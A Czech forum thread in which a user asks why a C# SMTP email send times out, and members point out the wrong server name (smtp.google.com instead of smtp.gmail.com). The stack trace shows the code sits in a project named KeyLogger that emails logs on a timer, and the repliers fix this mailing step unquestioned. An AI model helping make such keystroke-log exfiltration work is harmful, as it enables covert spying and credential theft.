Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.
Avatar
Filip Klíma
Člen
Avatar
Filip Klíma:23.5.2021 19:29

pokusil jsem se odeslat email, ale když se kód dostane k místu odeslání, aplikace zmrze a chvíli nereaguje,a potom se ukáže tato chyba:

System.Net.Mail.SmtpException
  HResult=0x80131500
  Zpráva=The operation has timed out.
  Zdroj=System.Net.Mail
  StackTrace:
   at System.Net.Mail.SmtpClient.Send(MailMessage message)
   at KeyLogger.Email.SendLog(String SMTP, String Port, String User, String Pass, String Adress, String Topic, String Log)
   at KeyLogger.KeyLoggerMainProccess.timer1_Tick(Object sender, EventArgs e)
   at System.Windows.Forms.Timer.TimerNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
   at System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
   at System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData)
   at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
   at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
   at System.Windows.Forms.Application.Run(ApplicationContext context)
   at KeyLogger.Program.Main()

v kódu mám

public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = true;
            klient.Send(mail);
        }

a tuto metodu spuštím takto

Email.SendLog("smtp.google.com", "587", "MujEmail", "MojeHeslo", "MujEmail", "Predmet", "ObsahZpravyJeZde");

Zkusil jsem: mám

enableSsh = true;

a v googlu jsem si povolil imap
a povolil jsem si Přístup méně zabezpečených aplikací

Chci docílit: odeslat email v c#

Editováno 23.5.2021 19:30
 
Odpovědět
23.5.2021 19:29
Avatar
Tadeáš Burda
Brigádník
Avatar
Odpovídá na Filip Klíma
Tadeáš Burda :24.5.2021 7:51

čaw, steho kodu nepoznam v cem je asi chyba...co pouzivas na odosielanie emailov?...skus MailKit ked tak, ja pouzivam toto a nemal som stim nikdy vecie problemy...puzil sem to uz aj na Gmail...takto z tohot kusku kodu tazko povedat :-S

 
Nahoru Odpovědět
24.5.2021 7:51
Avatar
Odpovídá na Filip Klíma
Neaktivní uživatel:24.5.2021 12:46

Máš špatný SMTP server. Není to smtp.google, ale smtp.gmail.com.

https://www.hostinger.com/…-smtp-server

Editováno 24.5.2021 12:47
Akceptované řešení
+20 Zkušeností
+2,50 Kč
Řešení problému
Nahoru Odpovědět
24.5.2021 12:46
Neaktivní uživatelský účet
Avatar
Filip Klíma
Člen
Avatar
Odpovídá na Neaktivní uživatel
Filip Klíma:24.5.2021 15:00

vždyť tam mám smtp.google.com

 
Nahoru Odpovědět
24.5.2021 15:00
Avatar
Tadeáš Burda
Brigádník
Avatar
Odpovídá na Filip Klíma
Tadeáš Burda :24.5.2021 15:07

Není to smtp.google, ale smtp.gmail.com

 
Nahoru Odpovědět
24.5.2021 15:07
Avatar
Filip Klíma
Člen
Avatar
Filip Klíma:24.5.2021 15:34

ale já tam mám to .com

 
Nahoru Odpovědět
24.5.2021 15:34
Avatar
Tadeáš Burda
Brigádník
Avatar
Odpovídá na Filip Klíma
Tadeáš Burda :24.5.2021 16:01

google doc ...mas tam mat GMAIL nie GOOGLE |-) ty to tam fakt nevidis???

Editováno 24.5.2021 16:03
 
Nahoru Odpovědět
24.5.2021 16:01
Avatar
Filip Klíma
Člen
Avatar
Filip Klíma:24.5.2021 16:04

uh, já si toho nějak nevšiml, soustředil jsem se jen na to .com
díky za pomoc

 
Nahoru Odpovědět
24.5.2021 16:04
Avatar
Tadeáš Burda
Brigádník
Avatar
Tadeáš Burda :24.5.2021 16:04

tady to je napisane

 
Nahoru Odpovědět
24.5.2021 16:04
Avatar
Tadeáš Burda
Brigádník
Avatar
Odpovídá na Filip Klíma
Tadeáš Burda :24.5.2021 16:05

oznac mu to jak spravnu odpoved ;-)

 
Nahoru Odpovědět
24.5.2021 16:05
Avatar
Tadeáš Burda
Brigádník
Avatar
Odpovídá na Filip Klíma
Tadeáš Burda :24.5.2021 16:08

diskuse :-` este tady si zabudel...

 
Nahoru Odpovědět
24.5.2021 16:08
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 11 zpráv z 11.